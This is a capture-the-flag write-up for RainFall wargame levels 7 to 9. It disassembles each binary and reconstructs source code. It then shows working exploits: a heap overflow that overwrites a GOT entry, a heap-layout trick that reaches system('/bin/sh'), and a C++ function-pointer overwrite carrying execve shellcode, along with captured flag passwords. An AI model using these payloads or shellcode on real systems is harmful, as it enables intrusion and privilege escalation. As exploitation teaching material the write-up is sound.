80484f4: 55 push ebp
80484f5: 89 e5 mov ebp,esp
80484f7: 83 ec 18 sub esp,0x18
80484fa: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
8048501: e8 ca fe ff ff call 80483d0 <time@plt>
8048506: ba e0 86 04 08 mov edx,0x80486e0
804850b: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
804850f: c7 44 24 04 60 99 04 mov DWORD PTR [esp+0x4],0x8049960
8048516: 08
8048517: 89 14 24 mov DWORD PTR [esp],edx
804851a: e8 91 fe ff ff call 80483b0 <printf@plt>
804851f: c9 leave
8048520: c3 ret
08048521 <main>:
8048521: 55 push ebp
8048522: 89 e5 mov ebp,esp
8048524: 83 e4 f0 and esp,0xfffffff0
8048527: 83 ec 20 sub esp,0x20
804852a: c7 04 24 08 00 00 00 mov DWORD PTR [esp],0x8
8048531: e8 ba fe ff ff call 80483f0 <malloc@plt>
8048536: 89 44 24 1c mov DWORD PTR [esp+0x1c],eax
804853a: 8b 44 24 1c mov eax,DWORD PTR [esp+0x1c]
804853e: c7 00 01 00 00 00 mov DWORD PTR [eax],0x1
8048544: c7 04 24 08 00 00 00 mov DWORD PTR [esp],0x8
804854b: e8 a0 fe ff ff call 80483f0 <malloc@plt>
8048550: 89 c2 mov edx,eax
8048552: 8b 44 24 1c mov eax,DWORD PTR [esp+0x1c]
8048556: 89 50 04 mov DWORD PTR [eax+0x4],edx
8048559: c7 04 24 08 00 00 00 mov DWORD PTR [esp],0x8
8048560: e8 8b fe ff ff call 80483f0 <malloc@plt>
8048565: 89 44 24 18 mov DWORD PTR [esp+0x18],eax
8048569: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18]
804856d: c7 00 02 00 00 00 mov DWORD PTR [eax],0x2
8048573: c7 04 24 08 00 00 00 mov DWORD PTR [esp],0x8
804857a: e8 71 fe ff ff call 80483f0 <malloc@plt>
804857f: 89 c2 mov edx,eax
8048581: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18]
8048585: 89 50 04 mov DWORD PTR [eax+0x4],edx
8048588: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
804858b: 83 c0 04 add eax,0x4
804858e: 8b 00 mov eax,DWORD PTR [eax]
8048590: 89 c2 mov edx,eax
8048592: 8b 44 24 1c mov eax,DWORD PTR [esp+0x1c]
8048596: 8b 40 04 mov eax,DWORD PTR [eax+0x4]
8048599: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
804859d: 89 04 24 mov DWORD PTR [esp],eax
80485a0: e8 3b fe ff ff call 80483e0 <strcpy@plt>
80485a5: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
80485a8: 83 c0 08 add eax,0x8
80485ab: 8b 00 mov eax,DWORD PTR [eax]
80485ad: 89 c2 mov edx,eax
80485af: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18]
80485b3: 8b 40 04 mov eax,DWORD PTR [eax+0x4]
80485b6: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
80485ba: 89 04 24 mov DWORD PTR [esp],eax
80485bd: e8 1e fe ff ff call 80483e0 <strcpy@plt>
80485c2: ba e9 86 04 08 mov edx,0x80486e9
80485c7: b8 eb 86 04 08 mov eax,0x80486eb
80485cc: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
80485d0: 89 04 24 mov DWORD PTR [esp],eax
80485d3: e8 58 fe ff ff call 8048430 <fopen@plt>
80485d8: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
80485dc: c7 44 24 04 44 00 00 mov DWORD PTR [esp+0x4],0x44
80485e3: 00
80485e4: c7 04 24 60 99 04 08 mov DWORD PTR [esp],0x8049960
80485eb: e8 d0 fd ff ff call 80483c0 <fgets@plt>
80485f0: c7 04 24 03 87 04 08 mov DWORD PTR [esp],0x8048703
80485f7: e8 04 fe ff ff call 8048400 <puts@plt>
80485fc: b8 00 00 00 00 mov eax,0x0
8048601: c9 leave
8048602: c3 ret
8048603: 90 nop
8048604: 90 nop
8048605: 90 nop
8048606: 90 nop
8048607: 90 nop
8048608: 90 nop
8048609: 90 nop
804860a: 90 nop
804860b: 90 nop
804860c: 90 nop
804860d: 90 nop
804860e: 90 nop
804860f: 90 nop
After looking at the objdump and analyzing the data values. the source code can be deduced as
#include <time.h>
#include <stdio.h>
// 080484f4
void m()
{
int num_of_sec = time(0);
printf("%s - %d\n", g_fgets_buf, num_of_sec);
}
// 08048521
void main()
{
// 8048527
void *ptr1;
void *ptr2;
FILE *file;
// 804854b
ptr1 = malloc(8);
ptr1[0] = 0x1;
// 804857a
ptr1[1] = malloc(8);
// 8048560
ptr2 = malloc(8);
ptr2[0] = 0x2;
// 804857a
ptr2[1] = malloc(8);
// 80485a0
strcpy(ptr1[1], argv[1]);
// 80485bd
strcpy(ptr2[1], argv[2]);
file = fopen("/home/user/level8/.pass","r");
fgets(pass, 68, fs);
puts("~~");
return 0;
}
Since the heap space is close and buffer grows to the GOT, I though it was a good idea to overwrite one of the mallocs to overwrit puts address, however, doing so might corrupt fgets
(which I havent tested) since fgets is higer than puts in memory
./level7: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049904 R_386_GLOB_DAT __gmon_start__
08049914 R_386_JUMP_SLOT printf
08049918 R_386_JUMP_SLOT fgets
0804991c R_386_JUMP_SLOT time
08049920 R_386_JUMP_SLOT strcpy
08049924 R_386_JUMP_SLOT malloc
08049928 R_386_JUMP_SLOT puts
0804992c R_386_JUMP_SLOT __gmon_start__
08049930 R_386_JUMP_SLOT __libc_start_main
08049934 R_386_JUMP_SLOT fopen
right now, the info that we have is, we want to overwrite 0x08049928
which is the address to the puts function, to the address of the m function 080484f4
.
To inspect the memory layout of the malloced heap, I ran with the arguments AAAAAAAA
and BBBBBBBB
to pre fill the buffers
Here is the layout for the first strcpy
Here is the layout for the second one
I have ran this many times, and turns out the same. The layout looks kinds of like this
With this information, now we know that for the first strcpy, we will overwrite the value of ptr_2_ptr2[1] via buffer overflow with the GOT of 20 bytes.
The second strcpy will then write the address of the m function with an address in the GOT, which is at ptr_2_ptr2[1]
I ran the program like this and It game me the password 5684af5cb4c8679958be4abe6373147ab52d95768e047820bf382e44fa8d8fb9
./level7 `python -c print"'B' * 20 + '\x08\x04\x99\x28'[::-1]"` ` python -c print"'\x08\x04\x84\xf4'[::-1]"`
Below is an objdump of the program
08048564 <main>:
8048564: 55 push ebp
8048565: 89 e5 mov ebp,esp
8048567: 57 push edi
8048568: 56 push esi
8048569: 83 e4 f0 and esp,0xfffffff0
804856c: 81 ec a0 00 00 00 sub esp,0xa0
8048572: eb 01 jmp 8048575 <main+0x11>
8048574: 90 nop
8048575: 8b 0d b0 9a 04 08 mov ecx,DWORD PTR ds:0x8049ab0
804857b: 8b 15 ac 9a 04 08 mov edx,DWORD PTR ds:0x8049aac
8048581: b8 10 88 04 08 mov eax,0x8048810
8048586: 89 4c 24 08 mov DWORD PTR [esp+0x8],ecx
804858a: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
804858e: 89 04 24 mov DWORD PTR [esp],eax
8048591: e8 7a fe ff ff call 8048410 <printf@plt>
8048596: a1 80 9a 04 08 mov eax,ds:0x8049a80
804859b: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
804859f: c7 44 24 04 80 00 00 mov DWORD PTR [esp+0x4],0x80
80485a6: 00
80485a7: 8d 44 24 20 lea eax,[esp+0x20]
80485ab: 89 04 24 mov DWORD PTR [esp],eax
80485ae: e8 8d fe ff ff call 8048440 <fgets@plt>
80485b3: 85 c0 test eax,eax
80485b5: 0f 84 71 01 00 00 je 804872c <main+0x1c8>
80485bb: 8d 44 24 20 lea eax,[esp+0x20]
80485bf: 89 c2 mov edx,eax
80485c1: b8 19 88 04 08 mov eax,0x8048819
80485c6: b9 05 00 00 00 mov ecx,0x5
80485cb: 89 d6 mov esi,edx
80485cd: 89 c7 mov edi,eax
80485cf: f3 a6 repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
80485d1: 0f 97 c2 seta dl
80485d4: 0f 92 c0 setb al
80485d7: 89 d1 mov ecx,edx
80485d9: 28 c1 sub cl,al
80485db: 89 c8 mov eax,ecx
80485dd: 0f be c0 movsx eax,al
80485e0: 85 c0 test eax,eax
80485e2: 75 5e jne 8048642 <main+0xde>
80485e4: c7 04 24 04 00 00 00 mov DWORD PTR [esp],0x4
80485eb: e8 80 fe ff ff call 8048470 <malloc@plt>
80485f0: a3 ac 9a 04 08 mov ds:0x8049aac,eax
80485f5: a1 ac 9a 04 08 mov eax,ds:0x8049aac
80485fa: c7 00 00 00 00 00 mov DWORD PTR [eax],0x0
8048600: 8d 44 24 20 lea eax,[esp+0x20]
8048604: 83 c0 05 add eax,0x5
8048607: c7 44 24 1c ff ff ff mov DWORD PTR [esp+0x1c],0xffffffff
804860e: ff
804860f: 89 c2 mov edx,eax
8048611: b8 00 00 00 00 mov eax,0x0
8048616: 8b 4c 24 1c mov ecx,DWORD PTR [esp+0x1c]
804861a: 89 d7 mov edi,edx
804861c: f2 ae repnz scas al,BYTE PTR es:[edi]
804861e: 89 c8 mov eax,ecx
8048620: f7 d0 not eax
8048622: 83 e8 01 sub eax,0x1
8048625: 83 f8 1e cmp eax,0x1e
8048628: 77 18 ja 8048642 <main+0xde>
804862a: 8d 44 24 20 lea eax,[esp+0x20]
804862e: 8d 50 05 lea edx,[eax+0x5]
8048631: a1 ac 9a 04 08 mov eax,ds:0x8049aac
8048636: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
804863a: 89 04 24 mov DWORD PTR [esp],eax
804863d: e8 1e fe ff ff call 8048460 <strcpy@plt>
8048642: 8d 44 24 20 lea eax,[esp+0x20]
8048646: 89 c2 mov edx,eax
8048648: b8 1f 88 04 08 mov eax,0x804881f
804864d: b9 05 00 00 00 mov ecx,0x5
8048652: 89 d6 mov esi,edx
8048654: 89 c7 mov edi,eax
8048656: f3 a6 repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
8048658: 0f 97 c2 seta dl
804865b: 0f 92 c0 setb al
804865e: 89 d1 mov ecx,edx
8048660: 28 c1 sub cl,al
8048662: 89 c8 mov eax,ecx
8048664: 0f be c0 movsx eax,al
8048667: 85 c0 test eax,eax
8048669: 75 0d jne 8048678 <main+0x114>
804866b: a1 ac 9a 04 08 mov eax,ds:0x8049aac
8048670: 89 04 24 mov DWORD PTR [esp],eax
8048673: e8 a8 fd ff ff call 8048420 <free@plt>
8048678: 8d 44 24 20 lea eax,[esp+0x20]
804867c: 89 c2 mov edx,eax
804867e: b8 25 88 04 08 mov eax,0x8048825
8048683: b9 06 00 00 00 mov ecx,0x6
8048688: 89 d6 mov esi,edx
804868a: 89 c7 mov edi,eax
804868c: f3 a6 repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
804868e: 0f 97 c2 seta dl
8048691: 0f 92 c0 setb al
8048694: 89 d1 mov ecx,edx
8048696: 28 c1 sub cl,al
8048698: 89 c8 mov eax,ecx
804869a: 0f be c0 movsx eax,al
804869d: 85 c0 test eax,eax
804869f: 75 14 jne 80486b5 <main+0x151>
80486a1: 8d 44 24 20 lea eax,[esp+0x20]
80486a5: 83 c0 07 add eax,0x7
80486a8: 89 04 24 mov DWORD PTR [esp],eax
80486ab: e8 80 fd ff ff call 8048430 <strdup@plt>
80486b0: a3 b0 9a 04 08 mov ds:0x8049ab0,eax
80486b5: 8d 44 24 20 lea eax,[esp+0x20]
80486b9: 89 c2 mov edx,eax
80486bb: b8 2d 88 04 08 mov eax,0x804882d
80486c0: b9 05 00 00 00 mov ecx,0x5
80486c5: 89 d6 mov esi,edx
80486c7: 89 c7 mov edi,eax
80486c9: f3 a6 repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
80486cb: 0f 97 c2 seta dl
80486ce: 0f 92 c0 setb al
80486d1: 89 d1 mov ecx,edx
80486d3: 28 c1 sub cl,al
80486d5: 89 c8 mov eax,ecx
80486d7: 0f be c0 movsx eax,al
80486da: 85 c0 test eax,eax
80486dc: 0f 85 92 fe ff ff jne 8048574 <main+0x10>
80486e2: a1 ac 9a 04 08 mov eax,ds:0x8049aac
80486e7: 8b 40 20 mov eax,DWORD PTR [eax+0x20]
80486ea: 85 c0 test eax,eax
80486ec: 74 11 je 80486ff <main+0x19b>
80486ee: c7 04 24 33 88 04 08 mov DWORD PTR [esp],0x8048833
80486f5: e8 86 fd ff ff call 8048480 <system@plt>
80486fa: e9 75 fe ff ff jmp 8048574 <main+0x10>
80486ff: a1 a0 9a 04 08 mov eax,ds:0x8049aa0
8048704: 89 c2 mov edx,eax
8048706: b8 3b 88 04 08 mov eax,0x804883b
804870b: 89 54 24 0c mov DWORD PTR [esp+0xc],edx
804870f: c7 44 24 08 0a 00 00 mov DWORD PTR [esp+0x8],0xa
8048716: 00
8048717: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1
804871e: 00
804871f: 89 04 24 mov DWORD PTR [esp],eax
8048722: e8 29 fd ff ff call 8048450 <fwrite@plt>
8048727: e9 48 fe ff ff jmp 8048574 <main+0x10>
804872c: 90 nop
804872d: b8 00 00 00 00 mov eax,0x0
8048732: 8d 65 f8 lea esp,[ebp-0x8]
8048735: 5e pop esi
8048736: 5f pop edi
8048737: 5d pop ebp
8048738: c3 ret
8048739: 90 nop
804873a: 90 nop
804873b: 90 nop
804873c: 90 nop
804873d: 90 nop
804873e: 90 nop
804873f: 90 nop
I learnt a new instruction repnz scas al,BYTE PTR es:[edi]
. This instruction is a combination of repnz and scas prefixes. The repnz will repeat an instruction, on our case is scas, until a zero value is found. the scan instruction scans a string and it comparaes the value in al with the value in ES:[EDI] and updates the flags according to results.
This is mainly used to record the ecx value used by repnz, to get the string length.
The pseudo-code looks like this
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char *auth = NULL;
char *service = NULL;
int main()
{
char fgets_buf[129];
while (1)
{
// 8048591
printf("%p, %p \n", auth, service);
// 80485ae
if (fgets(fgets_buf, 128, stdin) == NULL)
break;
// 80485cf
if (strncmp(fgets_buf, "auth ", 5) == 0)
{
// 80485eb
auth = malloc(4);
// 80485fa
auth[0] = '\0';
// 804861c
if (strlen(fgets_buf - 5 - 1) > 30)
continue;
// 804863d
strcpy(auth, fgets_buf + 5);
}
// 8048656
if (strncmp(fgets_buf, "reset", 5) == 0)
free(auth); // 8048673
// 804868c
if (strncmp(fgets_buf, "service", 6) == 0)
service = strdup(fgets_buf + 7); // 80486ab
// 80486c9
if (strncmp(fgets_buf, "login", 5) == 0)
{
// 80486e7
if (auth[32] != '\0')
system("/bin/sh"); // 80486f5
else
fwrite("Password:\n", 1, 10, stdout); // 8048722
}
}
return 0;
}
Looks like there isnt any obvious vulns right off the bat, however I do see we need to somehow overwrite the boundaries of auth, which is possible, because 80485eb
only malloced 4 bytes for the pointer but the strcpy can go up to 32 bytes. The only thing I see is possible is to somehow make the strdup
from service to write memory next to auths 4 byte size.
Here are the observations I obtained from GDB. As we can see, from the first iteration, the layout of the variables in the data section and they are located 4 bytes from each other by default.
After the first auth input, the auth
variable now stores an address, 0x0804a008
.
As we can see, the address should yield our input, BBCC
At our second iteration, our service command starts filling up the space below
As we can see, we already classify for the login shell, when our input for service is 121 characters long
I tried going over 127 charactersm but by right it shouldnt overwrite auth because the malloced space is 4.
The input I used for this is
auth BBCC
service ADASDASDASDAdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
login
The programming mistake here is that the malloc is too small, we should malloc at least 32 for auth instead if we want to read it later on. The password is like so c542e581c5ba5162a85f767996e3247ed619ef6c6f7b76a59435545dc6259f8a
The obdump of level9 is like so
080485f4 <main>:
80485f4: 55 push ebp
80485f5: 89 e5 mov ebp,esp
80485f7: 53 push ebx
80485f8: 83 e4 f0 and esp,0xfffffff0
80485fb: 83 ec 20 sub esp,0x20
80485fe: 83 7d 08 01 cmp DWORD PTR [ebp+0x8],0x1
8048602: 7f 0c jg 8048610 <main+0x1c>
8048604: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
804860b: e8 e0 fe ff ff call 80484f0 <_exit@plt>
8048610: c7 04 24 6c 00 00 00 mov DWORD PTR [esp],0x6c
8048617: e8 14 ff ff ff call 8048530 <_Znwj@plt>
804861c: 89 c3 mov ebx,eax
804861e: c7 44 24 04 05 00 00 mov DWORD PTR [esp+0x4],0x5
8048625: 00
8048626: 89 1c 24 mov DWORD PTR [esp],ebx
8048629: e8 c8 00 00 00 call 80486f6 <_ZN1NC1Ei>
804862e: 89 5c 24 1c mov DWORD PTR [esp+0x1c],ebx
8048632: c7 04 24 6c 00 00 00 mov DWORD PTR [esp],0x6c
8048639: e8 f2 fe ff ff call 8048530 <_Znwj@plt>
804863e: 89 c3 mov ebx,eax
8048640: c7 44 24 04 06 00 00 mov DWORD PTR [esp+0x4],0x6
8048647: 00
8048648: 89 1c 24 mov DWORD PTR [esp],ebx
804864b: e8 a6 00 00 00 call 80486f6 <_ZN1NC1Ei>
8048650: 89 5c 24 18 mov DWORD PTR [esp+0x18],ebx
8048654: 8b 44 24 1c mov eax,DWORD PTR [esp+0x1c]
8048658: 89 44 24 14 mov DWORD PTR [esp+0x14],eax
804865c: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18]
8048660: 89 44 24 10 mov DWORD PTR [esp+0x10],eax
8048664: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8048667: 83 c0 04 add eax,0x4
804866a: 8b 00 mov eax,DWORD PTR [eax]
804866c: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
8048670: 8b 44 24 14 mov eax,DWORD PTR [esp+0x14]
8048674: 89 04 24 mov DWORD PTR [esp],eax
8048677: e8 92 00 00 00 call 804870e <_ZN1N13setAnnotationEPc>
804867c: 8b 44 24 10 mov eax,DWORD PTR [esp+0x10]
8048680: 8b 00 mov eax,DWORD PTR [eax]
8048682: 8b 10 mov edx,DWORD PTR [eax]
8048684: 8b 44 24 14 mov eax,DWORD PTR [esp+0x14]
8048688: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
804868c: 8b 44 24 10 mov eax,DWORD PTR [esp+0x10]
8048690: 89 04 24 mov DWORD PTR [esp],eax
8048693: ff d2 call edx
8048695: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4]
8048698: c9 leave
8048699: c3 ret
0804869a <_Z41__static_initialization_and_destruction_0ii>:
804869a: 55 push ebp
804869b: 89 e5 mov ebp,esp
804869d: 83 ec 18 sub esp,0x18
80486a0: 83 7d 08 01 cmp DWORD PTR [ebp+0x8],0x1
80486a4: 75 32 jne 80486d8 <_Z41__static_initialization_and_destruction_0ii+0x3e>
80486a6: 81 7d 0c ff ff 00 00 cmp DWORD PTR [ebp+0xc],0xffff
80486ad: 75 29 jne 80486d8 <_Z41__static_initialization_and_destruction_0ii+0x3e>
80486af: c7 04 24 b4 9b 04 08 mov DWORD PTR [esp],0x8049bb4
80486b6: e8 15 fe ff ff call 80484d0 <_ZNSt8ios_base4InitC1Ev@plt>
80486bb: b8 00 85 04 08 mov eax,0x8048500
80486c0: c7 44 24 08 78 9b 04 mov DWORD PTR [esp+0x8],0x8049b78
80486c7: 08
80486c8: c7 44 24 04 b4 9b 04 mov DWORD PTR [esp+0x4],0x8049bb4
80486cf: 08
80486d0: 89 04 24 mov DWORD PTR [esp],eax
80486d3: e8 d8 fd ff ff call 80484b0 <__cxa_atexit@plt>
80486d8: c9 leave
80486d9: c3 ret
080486da <_GLOBAL__sub_I_main>:
80486da: 55 push ebp
80486db: 89 e5 mov ebp,esp
80486dd: 83 ec 18 sub esp,0x18
80486e0: c7 44 24 04 ff ff 00 mov DWORD PTR [esp+0x4],0xffff
80486e7: 00
80486e8: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
80486ef: e8 a6 ff ff ff call 804869a <_Z41__static_initialization_and_destruction_0ii>
80486f4: c9 leave
80486f5: c3 ret
080486f6 <_ZN1NC1Ei>:
80486f6: 55 push ebp
80486f7: 89 e5 mov ebp,esp
80486f9: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
80486fc: c7 00 48 88 04 08 mov DWORD PTR [eax],0x8048848
8048702: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
8048705: 8b 55 0c mov edx,DWORD PTR [ebp+0xc]
8048708: 89 50 68 mov DWORD PTR [eax+0x68],edx
804870b: 5d pop ebp
804870c: c3 ret
804870d: 90 nop
0804870e <_ZN1N13setAnnotationEPc>:
804870e: 55 push ebp
804870f: 89 e5 mov ebp,esp
8048711: 83 ec 18 sub esp,0x18
8048714: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8048717: 89 04 24 mov DWORD PTR [esp],eax
804871a: e8 01 fe ff ff call 8048520 <strlen@plt>
804871f: 8b 55 08 mov edx,DWORD PTR [ebp+0x8]
8048722: 83 c2 04 add edx,0x4
8048725: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
8048729: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
804872c: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
8048730: 89 14 24 mov DWORD PTR [esp],edx
8048733: e8 d8 fd ff ff call 8048510 <memcpy@plt>
8048738: c9 leave
8048739: c3 ret
0804873a <_ZN1NplERS_>:
804873a: 55 push ebp
804873b: 89 e5 mov ebp,esp
804873d: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
8048740: 8b 50 68 mov edx,DWORD PTR [eax+0x68]
8048743: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8048746: 8b 40 68 mov eax,DWORD PTR [eax+0x68]
8048749: 01 d0 add eax,edx
804874b: 5d pop ebp
804874c: c3 ret
804874d: 90 nop
0804874e <_ZN1NmiERS_>:
804874e: 55 push ebp
804874f: 89 e5 mov ebp,esp
8048751: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
8048754: 8b 50 68 mov edx,DWORD PTR [eax+0x68]
8048757: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
804875a: 8b 40 68 mov eax,DWORD PTR [eax+0x68]
804875d: 89 d1 mov ecx,edx
804875f: 29 c1 sub ecx,eax
8048761: 89 c8 mov eax,ecx
8048763: 5d pop ebp
8048764: c3 ret
8048765: 90 nop
8048766: 90 nop
8048767: 90 nop
8048768: 90 nop
8048769: 90 nop
804876a: 90 nop
804876b: 90 nop
804876c: 90 nop
804876d: 90 nop
804876e: 90 nop
804876f: 90 nop
I saw some strange sections, and like <_Z41__static_initialization_and_destruction_0ii>
, and I found out that this is generated by C++ compilers to help with class construction and destruction.
The asm is hella weird compared to the last 9 levels so here are the bits that I observed.
For functions with weird symbols like _ZN1NC1Ei
, _ZN1NplERS_
and whatnot, its obfusticated by the compiler. We can get the actual symbols in GDB by stepping into those functions like so
As we can see, we are in function _ZN1NC2Ei
, however the compiler says we are in the function name N::N(int) ()
. Which is a constructor for the N class for CPP programming. Classes in cpp have similar memory layout with C structs ; elements inside the class are close to each other, with some padding.
With that said, here is the pseudocode based on the disassembly
#include <string.h>
class N {
public :
int val;
char *annotation;
// 0804870e
void setAnnotation(const char *str)
{
memcpy(annotation, str, strlen(str));
}
// 0804873a
int operator+(N arg)
{
return (this->val + N.val);
}
}
int main(int argc, char **argv)
{
if (argc != 2)
std::exit(1);
N *a = new N(5);
N *b = new N(6);
a->setAnnotation(argv[1]);
return (*a + *b);
}
The programming mistake that had happened there is in the function setAnnotation
, where the program calls memcpy on an uninitialized array. we can test this by supplying a long argv. As we can see, the program segfaults.
It overwrote the function pointer for operator+
which is obtained by derefrencing the pointer to the N class, which is called at instruction 8048693
. After trail and error, we figured the offset is 109
I tried using the env method but there is too much calculation involved, so i just hardcoded the addresses to make it jump to the buffer, which will contain another address to make it jump to the shellcode instructions.
As we can see, the start of the buffer is 0x0804a00c
according to memcpy. 0x0804a00c
will contain an address which points to the start of the buffer + 4, which is 0x0804a010
. The program will derefrence 0x0804a00c
to 0x0804a010
, which derefrences again to our shellcode.
To make the program read 0x0804a00c
, we need to make sure our payload hits the 109 offset
./level9 `python -c "print '\x08\x04\xa0\x10'[::-1] + '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' + 'b' * 83 + '\x08\x04\xa0\x0c'[::-1]"`
The password is obtained f3f0004b6f364cb5a4147e9ef827fa922a4861408845c26b6971ad770d906728
level9@RainFall:~$ ./level9 `python -c "print '\x08\x04\xa0\x10'[::-1] + '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' + 'b' * 83 + '\x08\x04\xa0\x0c'[::-1]"`
$ whoami
bonus0
$ cat /home/user/bonus0/.pass
f3f0004b6f364cb5a4147e9ef827fa922a4861408845c26b6971ad770d906728
$